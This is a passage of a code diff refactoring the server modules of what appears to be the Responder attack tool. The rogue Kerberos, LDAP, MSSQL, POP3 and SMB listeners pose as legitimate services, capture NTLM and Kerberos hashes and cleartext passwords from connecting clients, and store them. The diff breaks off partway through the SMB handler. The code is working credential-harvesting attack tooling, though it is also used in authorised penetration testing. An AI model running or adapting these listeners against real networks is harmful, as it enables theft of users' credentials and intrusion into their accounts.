SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
|
@ -111,49 +100,39 @@ def ParseMSKerbv5UDP(Data):
|
||||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
else:
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
class KerbTCP(BaseRequestHandler):
|
class KerbTCP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
data = self.request.recv(1024)
|
||||||
data = self.request.recv(1024)
|
KerbHash = ParseMSKerbv5TCP(data)
|
||||||
KerbHash = ParseMSKerbv5TCP(data)
|
|
||||||
|
|
||||||
if KerbHash:
|
if KerbHash:
|
||||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'KERB',
|
'module': 'KERB',
|
||||||
'type': 'MSKerbv5',
|
'type': 'MSKerbv5',
|
||||||
'client': self.client_address[0],
|
'client': self.client_address[0],
|
||||||
'user': domain+'\\'+name,
|
'user': domain+'\\'+name,
|
||||||
'hash': h,
|
'hash': h,
|
||||||
'fullhash': KerbHash,
|
'fullhash': KerbHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
except Exception:
|
|
||||||
raise
|
|
||||||
|
|
||||||
class KerbUDP(BaseRequestHandler):
|
class KerbUDP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
data, soc = self.request
|
||||||
data, soc = self.request
|
KerbHash = ParseMSKerbv5UDP(data)
|
||||||
KerbHash = ParseMSKerbv5UDP(data)
|
|
||||||
|
|
||||||
if KerbHash:
|
if KerbHash:
|
||||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'KERB',
|
'module': 'KERB',
|
||||||
'type': 'MSKerbv5',
|
'type': 'MSKerbv5',
|
||||||
'client': self.client_address[0],
|
'client': self.client_address[0],
|
||||||
'user': domain+'\\'+name,
|
'user': domain+'\\'+name,
|
||||||
'hash': h,
|
'hash': h,
|
||||||
'fullhash': KerbHash,
|
'fullhash': KerbHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
except Exception:
|
|
||||||
raise
|
|
|
@ -14,24 +14,16 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import struct
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
def ParseSearch(data):
|
def ParseSearch(data):
|
||||||
Search1 = re.search('(objectClass)', data)
|
if re.search(r'(objectClass)', data):
|
||||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
|
||||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
|
||||||
|
|
||||||
if Search1:
|
|
||||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||||
if Search2:
|
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||||
if Search3:
|
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||||
|
|
||||||
def ParseLDAPHash(data, client):
|
def ParseLDAPHash(data, client):
|
||||||
|
@ -54,7 +46,7 @@ def ParseLDAPHash(data, client):
|
||||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
|
@ -69,20 +61,15 @@ def ParseLDAPHash(data, client):
|
||||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||||
|
|
||||||
def ParseNTLM(data,client):
|
def ParseNTLM(data,client):
|
||||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
|
||||||
|
|
||||||
if Search1:
|
|
||||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||||
NTLMChall.calculate()
|
NTLMChall.calculate()
|
||||||
return str(NTLMChall)
|
return str(NTLMChall)
|
||||||
|
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||||
if Search2:
|
|
||||||
ParseLDAPHash(data,client)
|
ParseLDAPHash(data,client)
|
||||||
|
|
||||||
def ParseLDAPPacket(data, client):
|
def ParseLDAPPacket(data, client):
|
||||||
if data[1:2] == '\x84':
|
if data[1:2] == '\x84':
|
||||||
|
|
||||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||||
Operation = data[9:10]
|
Operation = data[9:10]
|
||||||
|
@ -91,7 +78,6 @@ def ParseLDAPPacket(data, client):
|
||||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||||
|
|
||||||
if Operation == "\x60":
|
if Operation == "\x60":
|
||||||
|
|
||||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||||
UserDomain = data[20:20+UserDomainLen]
|
UserDomain = data[20:20+UserDomainLen]
|
||||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||||
|
@ -99,7 +85,6 @@ def ParseLDAPPacket(data, client):
|
||||||
if AuthHeaderType == "\x80":
|
if AuthHeaderType == "\x80":
|
||||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
'type': 'Cleartext',
|
'type': 'Cleartext',
|
||||||
|
@ -116,12 +101,9 @@ def ParseLDAPPacket(data, client):
|
||||||
elif Operation == "\x63":
|
elif Operation == "\x63":
|
||||||
Buffer = ParseSearch(data)
|
Buffer = ParseSearch(data)
|
||||||
return Buffer
|
return Buffer
|
||||||
|
elif settings.Config.Verbose:
|
||||||
|
print text('[LDAP] Operation not supported')
|
||||||
|
|
||||||
else:
|
|
||||||
if settings.Config.Verbose:
|
|
||||||
print text('[LDAP] Operation not supported')
|
|
||||||
|
|
||||||
# LDAP Server class
|
|
||||||
class LDAP(BaseRequestHandler):
|
class LDAP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
|
@ -132,6 +114,5 @@ class LDAP(BaseRequestHandler):
|
||||||
|
|
||||||
if Buffer:
|
if Buffer:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -14,10 +14,6 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import struct
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||||
from utils import *
|
from utils import *
|
||||||
|
@ -54,6 +50,7 @@ class TDS_Login_Packet:
|
||||||
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
||||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||||
|
|
||||||
|
|
||||||
def ParseSQLHash(data, client):
|
def ParseSQLHash(data, client):
|
||||||
SSPIStart = data[8:]
|
SSPIStart = data[8:]
|
||||||
|
|
||||||
|
@ -97,17 +94,17 @@ def ParseSQLHash(data, client):
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|
||||||
def ParseSqlClearTxtPwd(Pwd):
|
def ParseSqlClearTxtPwd(Pwd):
|
||||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||||
Pw = []
|
Pw = ''
|
||||||
for x in Pwd:
|
for x in Pwd:
|
||||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
|
||||||
return ''.join(Pw)
|
return Pw
|
||||||
|
|
||||||
|
|
||||||
def ParseClearTextSQLPass(data, client):
|
def ParseClearTextSQLPass(data, client):
|
||||||
|
|
||||||
TDS = TDS_Login_Packet(data)
|
TDS = TDS_Login_Packet(data)
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'MSSQL',
|
'module': 'MSSQL',
|
||||||
'type': 'Cleartext',
|
'type': 'Cleartext',
|
||||||
|
@ -120,7 +117,6 @@ def ParseClearTextSQLPass(data, client):
|
||||||
|
|
||||||
# MSSQL Server class
|
# MSSQL Server class
|
||||||
class MSSQL(BaseRequestHandler):
|
class MSSQL(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||||
|
@ -130,28 +126,24 @@ class MSSQL(BaseRequestHandler):
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
self.request.settimeout(0.1)
|
self.request.settimeout(0.1)
|
||||||
|
|
||||||
# Pre-Login Message
|
|
||||||
if data[0] == "\x12":
|
if data[0] == "\x12": # Pre-Login Message
|
||||||
Buffer = str(MSSQLPreLoginAnswer())
|
Buffer = str(MSSQLPreLoginAnswer())
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
# NegoSSP
|
if data[0] == "\x10": # NegoSSP
|
||||||
if data[0] == "\x10":
|
|
||||||
if re.search("NTLMSSP",data):
|
if re.search("NTLMSSP",data):
|
||||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
|
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = str(Packet)
|
Buffer = str(Packet)
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
ParseClearTextSQLPass(data,self.client_address[0])
|
ParseClearTextSQLPass(data,self.client_address[0])
|
||||||
|
|
||||||
# NegoSSP Auth
|
if data[0] == "\x11": # NegoSSP Auth
|
||||||
if data[0] == "\x11":
|
|
||||||
ParseSQLHash(data,self.client_address[0])
|
ParseSQLHash(data,self.client_address[0])
|
||||||
|
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
pass
|
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
|
@ -14,22 +14,16 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import POPOKPacket
|
from packets import POPOKPacket
|
||||||
|
|
||||||
# POP3 Server class
|
# POP3 Server class
|
||||||
class POP3(BaseRequestHandler):
|
class POP3(BaseRequestHandler):
|
||||||
|
|
||||||
def SendPacketAndRead(self):
|
def SendPacketAndRead(self):
|
||||||
Packet = POPOKPacket()
|
Packet = POPOKPacket()
|
||||||
self.request.send(str(Packet))
|
self.request.send(str(Packet))
|
||||||
data = self.request.recv(1024)
|
return self.request.recv(1024)
|
||||||
|
|
||||||
return data
|
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
|
@ -38,7 +32,6 @@ class POP3(BaseRequestHandler):
|
||||||
if data[0:4] == "USER":
|
if data[0:4] == "USER":
|
||||||
User = data[5:].replace("\r\n","")
|
User = data[5:].replace("\r\n","")
|
||||||
data = self.SendPacketAndRead()
|
data = self.SendPacketAndRead()
|
||||||
|
|
||||||
if data[0:4] == "PASS":
|
if data[0:4] == "PASS":
|
||||||
Pass = data[5:].replace("\r\n","")
|
Pass = data[5:].replace("\r\n","")
|
||||||
|
|
||||||
|
@ -50,11 +43,6 @@ class POP3(BaseRequestHandler):
|
||||||
'cleartext': Pass,
|
'cleartext': Pass,
|
||||||
'fullhash': User+":"+Pass,
|
'fullhash': User+":"+Pass,
|
||||||
})
|
})
|
||||||
|
self.SendPacketAndRead()
|
||||||
data = self.SendPacketAndRead()
|
|
||||||
|
|
||||||
else:
|
|
||||||
data = self.SendPacketAndRead()
|
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
141
servers/SMB.py
141
servers/SMB.py
|
@ -14,84 +14,49 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from random import randrange
|
from random import randrange
|
||||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
# Detect if SMB auth was Anonymous
|
|
||||||
def Is_Anonymous(data):
|
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
||||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||||
|
|
||||||
if SecBlobLen < 260:
|
if SecBlobLen < 260:
|
||||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
return LMhashLen in [0, 1]
|
||||||
|
elif SecBlobLen > 260:
|
||||||
if SecBlobLen > 260:
|
|
||||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
return LMhashLen in [0, 1]
|
||||||
|
|
||||||
def Is_LMNT_Anonymous(data):
|
def Is_LMNT_Anonymous(data):
|
||||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
return LMhashLen in [0, 1]
|
||||||
|
|
||||||
#Function used to know which dialect number to return for NT LM 0.12
|
#Function used to know which dialect number to return for NT LM 0.12
|
||||||
def Parse_Nego_Dialect(data):
|
def Parse_Nego_Dialect(data):
|
||||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||||
|
for i in range(0, 16):
|
||||||
|
if Dialect[i] == 'NT LM 0.12':
|
||||||
|
return chr(i) + '\x00'
|
||||||
|
|
||||||
if Dialect[0] == "NT LM 0.12":
|
|
||||||
return "\x00\x00"
|
|
||||||
if Dialect[1] == "NT LM 0.12":
|
|
||||||
return "\x01\x00"
|
|
||||||
if Dialect[2] == "NT LM 0.12":
|
|
||||||
return "\x02\x00"
|
|
||||||
if Dialect[3] == "NT LM 0.12":
|
|
||||||
return "\x03\x00"
|
|
||||||
if Dialect[4] == "NT LM 0.12":
|
|
||||||
return "\x04\x00"
|
|
||||||
if Dialect[5] == "NT LM 0.12":
|
|
||||||
return "\x05\x00"
|
|
||||||
if Dialect[6] == "NT LM 0.12":
|
|
||||||
return "\x06\x00"
|
|
||||||
if Dialect[7] == "NT LM 0.12":
|
|
||||||
return "\x07\x00"
|
|
||||||
if Dialect[8] == "NT LM 0.12":
|
|
||||||
return "\x08\x00"
|
|
||||||
if Dialect[9] == "NT LM 0.12":
|
|
||||||
return "\x09\x00"
|
|
||||||
if Dialect[10] == "NT LM 0.12":
|
|
||||||
return "\x0a\x00"
|
|
||||||
if Dialect[11] == "NT LM 0.12":
|
|
||||||
return "\x0b\x00"
|
|
||||||
if Dialect[12] == "NT LM 0.12":
|
|
||||||
return "\x0c\x00"
|
|
||||||
if Dialect[13] == "NT LM 0.12":
|
|
||||||
return "\x0d\x00"
|
|
||||||
if Dialect[14] == "NT LM 0.12":
|
|
||||||
return "\x0e\x00"
|
|
||||||
if Dialect[15] == "NT LM 0.12":
|
|
||||||
return "\x0f\x00"
|
|
||||||
|
|
||||||
#Set MID SMB Header field.
|
def midcalc(data): #Set MID SMB Header field.
|
||||||
def midcalc(data):
|
return data[34:36]
|
||||||
pack=data[34:36]
|
|
||||||
return pack
|
|
||||||
|
|
||||||
#Set UID SMB Header field.
|
|
||||||
def uidcalc(data):
|
|
||||||
pack=data[32:34]
|
|
||||||
return pack
|
|
||||||
|
|
||||||
#Set PID SMB Header field.
|
|
||||||
def pidcalc(data):
|
def uidcalc(data): #Set UID SMB Header field.
|
||||||
|
return data[32:34]
|
||||||
|
|
||||||
|
|
||||||
|
def pidcalc(data): #Set PID SMB Header field.
|
||||||
pack=data[30:32]
|
pack=data[30:32]
|
||||||
return pack
|
return pack
|
||||||
|
|
||||||
#Set TID SMB Header field.
|
|
||||||
def tidcalc(data):
|
def tidcalc(data): #Set TID SMB Header field.
|
||||||
pack=data[28:30]
|
pack=data[28:30]
|
||||||
return pack
|
return pack
|
||||||
|
|
||||||
|
@ -101,8 +66,8 @@ def ParseShare(data):
|
||||||
if a:
|
if a:
|
||||||
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||||
|
|
||||||
#Parse SMB NTLMSSP v1/v2
|
|
||||||
def ParseSMBHash(data,client):
|
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
||||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||||
|
|
||||||
|
@ -113,7 +78,6 @@ def ParseSMBHash(data,client):
|
||||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||||
|
|
||||||
else:
|
else:
|
||||||
SSPIStart = data[79:]
|
SSPIStart = data[79:]
|
||||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||||
|
@ -160,9 +124,8 @@ def ParseSMBHash(data,client):
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
# Parse SMB NTLMv1/v2
|
|
||||||
def ParseLMNTHash(data, client):
|
|
||||||
|
|
||||||
|
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
|
||||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||||
|
@ -209,36 +172,31 @@ def IsNT4ClearTxt(data, client):
|
||||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||||
|
|
||||||
if PassLen > 2:
|
if PassLen > 2:
|
||||||
|
|
||||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||||
|
|
||||||
# SMB Server class, NTLMSSP
|
|
||||||
class SMB1(BaseRequestHandler):
|
|
||||||
|
|
||||||
|
class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
self.request.settimeout(1)
|
self.request.settimeout(1)
|
||||||
|
|
||||||
if len(data) < 1:
|
if not data:
|
||||||
break
|
break
|
||||||
|
|
||||||
##session request 139
|
if data[0] == "\x81": #session request 139
|
||||||
if data[0] == "\x81":
|
|
||||||
Buffer = "\x82\x00\x00\x00"
|
Buffer = "\x82\x00\x00\x00"
|
||||||
try:
|
try:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# Negociate Protocol Response
|
if data[8:10] == "\x72\x00": # Negociate Protocol Response
|
||||||
if data[8:10] == "\x72\x00":
|
|
||||||
# \x72 == Negociate Protocol Response
|
|
||||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
@ -249,8 +207,7 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
# Session Setup AndX Request
|
if data[8:10] == "\x73\x00": # Session Setup AndX Request
|
||||||
if data[8:10] == "\x73\x00":
|
|
||||||
IsNT4ClearTxt(data, self.client_address[0])
|
IsNT4ClearTxt(data, self.client_address[0])
|
||||||
|
|
||||||
# STATUS_MORE_PROCESSING_REQUIRED
|
# STATUS_MORE_PROCESSING_REQUIRED
|
||||||
|
@ -264,8 +221,8 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
|
|
||||||
# STATUS_SUCCESS
|
|
||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == "\x73\x00": # STATUS_SUCCESS
|
||||||
if Is_Anonymous(data):
|
if Is_Anonymous(data):
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||||
Body = SMBSessEmpty()
|
Body = SMBSessEmpty()
|
||||||
|
@ -290,10 +247,9 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
# Tree Connect AndX Request
|
|
||||||
if data[8:10] == "\x75\x00":
|
if data[8:10] == "\x75\x00": # Tree Connect AndX Request
|
||||||
ParseShare(data)
|
ParseShare(data)
|
||||||
# Tree Connect AndX Response
|
|
||||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||||
Body = SMBTreeData()
|
Body = SMBTreeData()
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
@ -304,8 +260,7 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##Tree Disconnect.
|
if data[8:10] == "\x71\x00": #Tree Disconnect
|
||||||
if data[8:10] == "\x71\x00":
|
|
||||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
